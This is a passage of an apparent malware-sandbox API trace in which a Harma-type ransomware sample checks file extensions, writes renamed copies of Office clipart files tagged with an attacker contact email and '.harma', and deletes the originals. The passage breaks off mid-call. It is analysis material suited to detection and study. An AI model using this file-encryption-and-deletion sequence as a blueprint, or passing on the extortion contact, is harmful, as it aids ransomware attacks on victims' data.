[0150.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.913] lstrlenW (lpString=".docx") returned 5 [0150.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.913] lstrlenW (lpString=".pdf") returned 4 [0150.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.913] lstrlenW (lpString=".xls") returned 4 [0150.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.913] lstrlenW (lpString=".xlsx") returned 5 [0150.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.913] lstrlenW (lpString=".ppt") returned 4 [0150.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0150.913] lstrlenW (lpString=".zip") returned 4 [0150.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.914] lstrlenW (lpString=".rar") returned 4 [0150.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.914] lstrlenW (lpString=".bz2") returned 4 [0150.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.914] lstrlenW (lpString=".7z") returned 3 [0150.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0150.914] lstrlenW (lpString=".dbf") returned 4 [0150.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0150.914] lstrlenW (lpString=".1cd") returned 4 [0150.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0150.914] lstrlenW (lpString=".jpg") returned 4 [0150.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0150.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0150.914] lstrlenW (lpString=".doc") returned 4 [0150.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.914] lstrlenW (lpString=".docx") returned 5 [0150.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.914] lstrlenW (lpString=".pdf") returned 4 [0150.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.914] lstrlenW (lpString=".xls") returned 4 [0150.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.914] lstrlenW (lpString=".xlsx") returned 5 [0150.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.914] lstrlenW (lpString=".ppt") returned 4 [0150.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0150.915] lstrlenW (lpString=".zip") returned 4 [0150.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.915] lstrlenW (lpString=".rar") returned 4 [0150.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.915] lstrlenW (lpString=".bz2") returned 4 [0150.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.915] lstrlenW (lpString=".7z") returned 3 [0150.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0150.915] lstrlenW (lpString=".dbf") returned 4 [0150.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0150.915] lstrlenW (lpString=".1cd") returned 4 [0150.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0150.915] lstrlenW (lpString=".jpg") returned 4 [0150.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.915] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.915] lstrlenW (lpString="DD01170_.WMF") returned 12 [0150.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.177] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2404) returned 1 [0151.177] CloseHandle (hObject=0x364) returned 1 [0151.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x20 [0151.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.195] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.195] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0151.198] GetLastError () returned 0x0 [0151.198] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x964, lpOverlapped=0x0) returned 1 [0151.216] WriteFile (in: hFile=0x360, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x970, lpOverlapped=0x0) returned 1 [0151.217] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0151.217] WriteFile (in: hFile=0x360, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.217] SetEndOfFile (hFile=0x360) returned 1 [0151.217] CloseHandle (hObject=0x360) returned 1 [0151.217] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.217] SetEndOfFile (hFile=0x364) returned 1 [0151.220] CloseHandle (hObject=0x364) returned 1 [0151.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0151.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0151.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0151.669] lstrlenW (lpString=".doc") returned 4 [0151.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.670] lstrlenW (lpString=".docx") returned 5 [0151.670] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.670] lstrlenW (lpString=".pdf") returned 4 [0151.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.670] lstrlenW (lpString=".xls") returned 4 [0151.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.670] lstrlenW (lpString=".xlsx") returned 5 [0151.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.670] lstrlenW (lpString=".ppt") returned 4 [0151.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0151.670] lstrlenW (lpString=".zip") returned 4 [0151.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.670] lstrlenW (lpString=".rar") returned 4 [0151.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.670] lstrlenW (lpString=".bz2") returned 4 [0151.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.670] lstrlenW (lpString=".7z") returned 3 [0151.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0151.670] lstrlenW (lpString=".dbf") returned 4 [0151.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0151.670] lstrlenW (lpString=".1cd") returned 4 [0151.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0151.670] lstrlenW (lpString=".jpg") returned 4 [0151.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0151.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0151.671] lstrlenW (lpString=".doc") returned 4 [0151.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString=".docx") returned 5 [0151.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.671] lstrlenW (lpString=".pdf") returned 4 [0151.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString=".xls") returned 4 [0151.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.671] lstrlenW (lpString=".xlsx") returned 5 [0151.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.671] lstrlenW (lpString=".ppt") returned 4 [0151.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0151.671] lstrlenW (lpString=".zip") returned 4 [0151.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.671] lstrlenW (lpString=".rar") returned 4 [0151.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString=".bz2") returned 4 [0151.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString=".7z") returned 3 [0151.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0151.671] lstrlenW (lpString=".dbf") returned 4 [0151.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0151.671] lstrlenW (lpString=".1cd") returned 4 [0151.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0151.671] lstrlenW (lpString=".jpg") returned 4 [0151.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.672] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.672] lstrlenW (lpString="DD01366_.WMF") returned 12 [0151.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.874] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1768) returned 1 [0151.874] CloseHandle (hObject=0x20c) returned 1 [0151.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x20 [0151.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.897] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.897] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0151.898] GetLastError () returned 0x0 [0151.898] ReadFile (in: hFile=0x384, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x6e8, lpOverlapped=0x0) returned 1 [0151.900] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x6f0, lpOverlapped=0x0) returned 1 [0151.901] ReadFile (in: hFile=0x384, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0151.901] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.901] SetEndOfFile (hFile=0x380) returned 1 [0151.901] CloseHandle (hObject=0x380) returned 1 [0151.901] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.901] SetEndOfFile (hFile=0x384) returned 1 [0151.903] CloseHandle (hObject=0x384) returned 1 [0151.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0151.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0151.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0151.905] lstrlenW (lpString=".doc") returned 4 [0151.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.905] lstrlenW (lpString=".docx") returned 5 [0151.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.905] lstrlenW (lpString=".pdf") returned 4 [0151.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.905] lstrlenW (lpString=".xls") returned 4 [0151.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.905] lstrlenW (lpString=".xlsx") returned 5 [0151.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.905] lstrlenW (lpString=".ppt") returned 4 [0151.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0151.905] lstrlenW (lpString=".zip") returned 4 [0151.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.905] lstrlenW (lpString=".rar") returned 4 [0151.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.906] lstrlenW (lpString=".bz2") returned 4 [0151.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.906] lstrlenW (lpString=".7z") returned 3 [0151.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0151.906] lstrlenW (lpString=".dbf") returned 4 [0151.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0151.906] lstrlenW (lpString=".1cd") returned 4 [0151.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0151.906] lstrlenW (lpString=".jpg") returned 4 [0151.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0151.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0151.906] lstrlenW (lpString=".doc") returned 4 [0151.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.906] lstrlenW (lpString=".docx") returned 5 [0151.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.906] lstrlenW (lpString=".pdf") returned 4 [0151.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.906] lstrlenW (lpString=".xls") returned 4 [0151.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.907] lstrlenW (lpString=".xlsx") returned 5 [0151.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.907] lstrlenW (lpString=".ppt") returned 4 [0151.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0151.907] lstrlenW (lpString=".zip") returned 4 [0151.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.907] lstrlenW (lpString=".rar") returned 4 [0151.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.907] lstrlenW (lpString=".bz2") returned 4 [0151.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.907] lstrlenW (lpString=".7z") returned 3 [0151.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0151.907] lstrlenW (lpString=".dbf") returned 4 [0151.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0151.907] lstrlenW (lpString=".1cd") returned 4 [0151.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0151.907] lstrlenW (lpString=".jpg") returned 4 [0151.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.908] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.908] lstrlenW (lpString="DD01631_.WMF") returned 12 [0151.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.908] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=552) returned 1 [0151.909] CloseHandle (hObject=0x384) returned 1 [0151.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x20 [0151.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.909] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.909] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0151.910] GetLastError () returned 0x0 [0151.910] ReadFile (in: hFile=0x384, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x228, lpOverlapped=0x0) returned 1 [0151.911] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x230, lpOverlapped=0x0) returned 1 [0151.912] ReadFile (in: hFile=0x384, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0151.912] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.912] SetEndOfFile (hFile=0x380) returned 1 [0151.912] CloseHandle (hObject=0x380) returned 1 [0151.912] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.912] SetEndOfFile (hFile=0x384) returned 1 [0151.917] CloseHandle (hObject=0x384) returned 1 [0151.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0151.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0151.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0151.918] lstrlenW (lpString=".doc") returned 4 [0151.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.918] lstrlenW (lpString=".docx") returned 5 [0151.918] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.918] lstrlenW (lpString=".pdf") returned 4 [0151.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.918] lstrlenW (lpString=".xls") returned 4 [0151.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.919] lstrlenW (lpString=".xlsx") returned 5 [0151.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.919] lstrlenW (lpString=".ppt") returned 4 [0151.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0151.919] lstrlenW (lpString=".zip") returned 4 [0151.919] 